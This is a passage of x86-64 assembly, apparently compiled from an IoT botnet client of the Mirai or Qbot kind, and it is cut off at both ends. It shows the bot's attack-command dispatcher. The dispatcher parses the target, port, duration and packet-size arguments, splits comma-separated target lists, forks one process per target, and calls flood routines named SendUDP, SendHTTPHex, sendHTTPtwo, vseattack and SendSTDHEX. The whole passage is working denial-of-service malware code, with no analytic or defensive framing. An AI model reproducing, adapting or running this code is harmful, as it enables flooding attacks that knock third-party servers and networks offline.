	push	rdi
	mov	rdi, rax
	call	ftcp
	add	rsp, 16
	mov	edi, 0
	call	_exit@PLT
.L358:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC289[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L370
	cmp	DWORD PTR -532[rbp], 5
	jle	.L541
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L541
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L541
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L541
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 1024
	jg	.L541
	cmp	DWORD PTR -532[rbp], 6
	jne	.L372
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L541
.L372:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -152[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -492[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -488[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -484[rbp], eax
	cmp	DWORD PTR -532[rbp], 6
	jne	.L373
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L374
.L373:
	mov	eax, 10
.L374:
	mov	DWORD PTR -480[rbp], eax
	mov	DWORD PTR -476[rbp], 32
	mov	rax, QWORD PTR -152[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L375
	mov	rax, QWORD PTR -152[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -312[rbp], rax
	jmp	.L376
.L378:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L377
	mov	r8d, DWORD PTR -476[rbp]
	mov	edi, DWORD PTR -480[rbp]
	mov	ecx, DWORD PTR -484[rbp]
	mov	edx, DWORD PTR -488[rbp]
	mov	esi, DWORD PTR -492[rbp]
	mov	rax, QWORD PTR -312[rbp]
	mov	r9d, r8d
	mov	r8d, edi
	mov	rdi, rax
	call	SendUDP
	mov	edi, 0
	call	_exit@PLT
.L377:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -312[rbp], rax
.L376:
	cmp	QWORD PTR -312[rbp], 0
	jne	.L378
	jmp	.L370
.L375:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L542
	mov	r8d, DWORD PTR -476[rbp]
	mov	edi, DWORD PTR -480[rbp]
	mov	ecx, DWORD PTR -484[rbp]
	mov	edx, DWORD PTR -488[rbp]
	mov	esi, DWORD PTR -492[rbp]
	mov	rax, QWORD PTR -152[rbp]
	mov	r9d, r8d
	mov	r8d, edi
	mov	rdi, rax
	call	SendUDP
	mov	edi, 0
	call	_exit@PLT
.L370:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC290[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L380
	cmp	DWORD PTR -532[rbp], 5
	jle	.L543
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L543
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L543
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L544
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r13d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rbx, QWORD PTR [rax]
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	edx, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rsi, QWORD PTR [rax]
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	r9d, r13d
	mov	r8d, r12d
	mov	rcx, rbx
	mov	rdi, rax
	call	SendHTTPHex
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r13d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	r12d, eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rbx, QWORD PTR [rax]
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	movzx	edx, ax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rsi, QWORD PTR [rax]
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	r9d, r13d
	mov	r8d, r12d
	mov	rcx, rbx
	mov	rdi, rax
	call	sendHTTPtwo
	mov	edi, 0
	call	exit@PLT
.L380:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC291[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L384
	cmp	DWORD PTR -532[rbp], 5
	jle	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 65536
	jg	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 65500
	jg	.L545
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 32
	jg	.L545
	cmp	DWORD PTR -532[rbp], 7
	jne	.L386
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L545
.L386:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -348[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -344[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -340[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -336[rbp], eax
	cmp	DWORD PTR -532[rbp], 6
	jle	.L387
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L388
.L387:
	mov	eax, 1000
.L388:
	mov	DWORD PTR -332[rbp], eax
	cmp	DWORD PTR -532[rbp], 7
	jle	.L389
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 56
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L390
.L389:
	mov	eax, 1000000
.L390:
	mov	DWORD PTR -328[rbp], eax
	cmp	DWORD PTR -532[rbp], 8
	jle	.L391
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 64
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L392
.L391:
	mov	eax, 0
.L392:
	mov	DWORD PTR -324[rbp], eax
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L393
	mov	rax, QWORD PTR -40[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -304[rbp], rax
	jmp	.L394
.L396:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L395
	mov	r9d, DWORD PTR -332[rbp]
	mov	r8d, DWORD PTR -336[rbp]
	mov	ecx, DWORD PTR -340[rbp]
	mov	edx, DWORD PTR -344[rbp]
	mov	esi, DWORD PTR -348[rbp]
	mov	rax, QWORD PTR -304[rbp]
	mov	edi, DWORD PTR -324[rbp]
	push	rdi
	mov	edi, DWORD PTR -328[rbp]
	push	rdi
	mov	rdi, rax
	call	vseattack
	add	rsp, 16
	mov	edi, 0
	call	_exit@PLT
.L395:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -304[rbp], rax
.L394:
	cmp	QWORD PTR -304[rbp], 0
	jne	.L396
	jmp	.L546
.L393:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L546
	mov	r9d, DWORD PTR -332[rbp]
	mov	r8d, DWORD PTR -336[rbp]
	mov	ecx, DWORD PTR -340[rbp]
	mov	edx, DWORD PTR -344[rbp]
	mov	esi, DWORD PTR -348[rbp]
	mov	rax, QWORD PTR -40[rbp]
	mov	edi, DWORD PTR -324[rbp]
	push	rdi
	mov	edi, DWORD PTR -328[rbp]
	push	rdi
	mov	rdi, rax
	call	vseattack
	add	rsp, 16
	mov	edi, 0
	call	_exit@PLT
.L384:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC292[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L398
	cmp	DWORD PTR -532[rbp], 5
	jle	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, -1
	je	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 65536
	jg	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 65500
	jg	.L547
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	cmp	eax, 32
	jg	.L547
	cmp	DWORD PTR -532[rbp], 7
	jne	.L400
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L547
.L400:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -48[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -376[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -372[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -368[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -364[rbp], eax
	cmp	DWORD PTR -532[rbp], 6
	jle	.L401
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 48
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L402
.L401:
	mov	eax, 1000
.L402:
	mov	DWORD PTR -360[rbp], eax
	cmp	DWORD PTR -532[rbp], 7
	jle	.L403
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 56
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L404
.L403:
	mov	eax, 1000000
.L404:
	mov	DWORD PTR -356[rbp], eax
	cmp	DWORD PTR -532[rbp], 8
	jle	.L405
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 64
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	jmp	.L406
.L405:
	mov	eax, 0
.L406:
	mov	DWORD PTR -352[rbp], eax
	mov	rax, QWORD PTR -48[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L407
	mov	rax, QWORD PTR -48[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -296[rbp], rax
	jmp	.L408
.L410:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L409
	mov	r9d, DWORD PTR -360[rbp]
	mov	r8d, DWORD PTR -364[rbp]
	mov	ecx, DWORD PTR -368[rbp]
	mov	edx, DWORD PTR -372[rbp]
	mov	esi, DWORD PTR -376[rbp]
	mov	rax, QWORD PTR -296[rbp]
	mov	edi, DWORD PTR -352[rbp]
	push	rdi
	mov	edi, DWORD PTR -356[rbp]
	push	rdi
	mov	rdi, rax
	call	vseattack
	add	rsp, 16
	mov	edi, 0
	call	_exit@PLT
.L409:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -296[rbp], rax
.L408:
	cmp	QWORD PTR -296[rbp], 0
	jne	.L410
	jmp	.L548
.L407:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L548
	mov	r9d, DWORD PTR -360[rbp]
	mov	r8d, DWORD PTR -364[rbp]
	mov	ecx, DWORD PTR -368[rbp]
	mov	edx, DWORD PTR -372[rbp]
	mov	esi, DWORD PTR -376[rbp]
	mov	rax, QWORD PTR -48[rbp]
	mov	edi, DWORD PTR -352[rbp]
	push	rdi
	mov	edi, DWORD PTR -356[rbp]
	push	rdi
	mov	rdi, rax
	call	vseattack
	add	rsp, 16
	mov	edi, 0
	call	_exit@PLT
.L398:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC293[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L412
	cmp	DWORD PTR -532[rbp], 3
	jle	.L549
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L549
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L549
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -144[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -472[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -468[rbp], eax
	mov	rax, QWORD PTR -144[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L415
	mov	rax, QWORD PTR -144[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -288[rbp], rax
	jmp	.L416
.L418:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L417
	mov	edx, DWORD PTR -468[rbp]
	mov	ecx, DWORD PTR -472[rbp]
	mov	rax, QWORD PTR -288[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L417:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -288[rbp], rax
.L416:
	cmp	QWORD PTR -288[rbp], 0
	jne	.L418
	jmp	.L412
.L415:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L550
	mov	edx, DWORD PTR -468[rbp]
	mov	ecx, DWORD PTR -472[rbp]
	mov	rax, QWORD PTR -144[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L412:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC294[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L420
	cmp	DWORD PTR -532[rbp], 3
	jle	.L551
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L551
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L551
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -136[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -464[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -460[rbp], eax
	mov	rax, QWORD PTR -136[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L423
	mov	rax, QWORD PTR -136[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -280[rbp], rax
	jmp	.L424
.L426:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L425
	mov	edx, DWORD PTR -460[rbp]
	mov	ecx, DWORD PTR -464[rbp]
	mov	rax, QWORD PTR -280[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L425:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -280[rbp], rax
.L424:
	cmp	QWORD PTR -280[rbp], 0
	jne	.L426
	jmp	.L420
.L423:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L552
	mov	edx, DWORD PTR -460[rbp]
	mov	ecx, DWORD PTR -464[rbp]
	mov	rax, QWORD PTR -136[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L420:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC295[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L428
	cmp	DWORD PTR -532[rbp], 3
	jle	.L553
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L553
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L553
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -128[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -456[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -452[rbp], eax
	mov	rax, QWORD PTR -128[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L431
	mov	rax, QWORD PTR -128[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -272[rbp], rax
	jmp	.L432
.L434:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L433
	mov	edx, DWORD PTR -452[rbp]
	mov	ecx, DWORD PTR -456[rbp]
	mov	rax, QWORD PTR -272[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L433:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -272[rbp], rax
.L432:
	cmp	QWORD PTR -272[rbp], 0
	jne	.L434
	jmp	.L428
.L431:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L554
	mov	edx, DWORD PTR -452[rbp]
	mov	ecx, DWORD PTR -456[rbp]
	mov	rax, QWORD PTR -128[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L428:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC296[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L436
	cmp	DWORD PTR -532[rbp], 3
	jle	.L555
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L555
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L555
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -120[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -448[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -444[rbp], eax
	mov	rax, QWORD PTR -120[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L439
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -264[rbp], rax
	jmp	.L440
.L442:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L441
	mov	edx, DWORD PTR -444[rbp]
	mov	ecx, DWORD PTR -448[rbp]
	mov	rax, QWORD PTR -264[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L441:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -264[rbp], rax
.L440:
	cmp	QWORD PTR -264[rbp], 0
	jne	.L442
	jmp	.L436
.L439:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L556
	mov	edx, DWORD PTR -444[rbp]
	mov	ecx, DWORD PTR -448[rbp]
	mov	rax, QWORD PTR -120[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L436:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC297[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L444
	cmp	DWORD PTR -532[rbp], 3
	jle	.L557
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L557
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L557
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -112[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -440[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -436[rbp], eax
	mov	rax, QWORD PTR -112[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L447
	mov	rax, QWORD PTR -112[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -256[rbp], rax
	jmp	.L448
.L450:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L449
	mov	edx, DWORD PTR -436[rbp]
	mov	ecx, DWORD PTR -440[rbp]
	mov	rax, QWORD PTR -256[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L449:
	lea	rsi, .LC13[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -256[rbp], rax
.L448:
	cmp	QWORD PTR -256[rbp], 0
	jne	.L450
	jmp	.L444
.L447:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L558
	mov	edx, DWORD PTR -436[rbp]
	mov	ecx, DWORD PTR -440[rbp]
	mov	rax, QWORD PTR -112[rbp]
	mov	esi, ecx
	mov	rdi, rax
	call	SendSTDHEX
	mov	edi, 0
	call	_exit@PLT
.L444:
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rsi, .LC298[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L452
	cmp	DWORD PTR -532[rbp], 3
	jle	.L559
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L559
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	test	eax, eax
	jle	.L559
	mov	rax, QWORD PTR -544[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -104[rbp], rax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -432[rbp], eax
	mov	rax, QWORD PTR -544[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -428[rbp], eax
	mov	rax, QWORD PTR -104[rbp]
	mov	esi, 44
	mov	rdi, rax
	call	strchr@PLT
	test	rax, rax
	je	.L455
	mov	rax, QWORD PTR -104[rbp]
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -248[rbp], rax
	jmp	.L456
.L458:
	mov	eax, 0
	call	listFork
	test	eax, eax
	jne	.L457
